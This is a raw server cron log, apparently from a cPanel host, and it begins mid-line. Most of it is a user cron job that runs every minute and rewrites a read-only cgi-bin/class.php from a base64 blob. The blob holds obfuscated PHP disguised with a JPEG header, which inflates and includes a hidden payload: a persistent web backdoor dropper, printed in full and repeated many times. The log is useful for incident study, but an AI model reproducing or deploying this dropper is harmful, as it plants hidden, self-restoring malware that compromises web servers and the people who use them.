vFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:17:01 server CROND[25586]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:17:01 server CROND[25587]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:18:01 server CROND[25989]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:18:01 server CROND[25990]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:18:01 server CROND[25991]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:19:01 server CROND[26368]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:19:01 server CROND[26369]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:19:01 server CROND[26371]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:20:01 server CROND[26752]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:20:01 server CROND[26754]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 05:20:01 server CROND[26755]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 05:20:01 server CROND[26756]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 05:20:01 server CROND[26757]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 05:20:01 server CROND[26759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:20:01 server CROND[26761]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 05:20:01 server CROND[26758]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:20:01 server CROND[26762]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 05:21:01 server CROND[27684]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:21:01 server CROND[27685]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:21:01 server CROND[27686]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:22:01 server CROND[28135]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:22:01 server CROND[28136]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:22:01 server CROND[28137]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:23:01 server CROND[28537]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:23:01 server CROND[28538]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:23:01 server CROND[28539]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:24:01 server CROND[28939]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:24:01 server CROND[28940]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:24:01 server CROND[28941]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:25:01 server CROND[29350]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:25:01 server CROND[29351]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 05:25:01 server CROND[29353]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 05:25:01 server CROND[29358]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 05:25:01 server CROND[29357]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:25:01 server CROND[29356]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 05:25:01 server CROND[29355]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:26:01 server CROND[30286]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:26:01 server CROND[30287]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:26:01 server CROND[30288]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:26:01 server CROND[30286]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:26:01 server CROND[30287]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:26:01 server CROND[30288]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:27:01 server CROND[30684]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:27:01 server CROND[30683]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:27:01 server CROND[30686]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 05:27:01 server CROND[30685]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:28:01 server CROND[31081]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:28:01 server CROND[31082]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 05:28:01 server CROND[31083]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 05:29:01 server CROND[31473]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 05:29:01 server CROND[31472]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
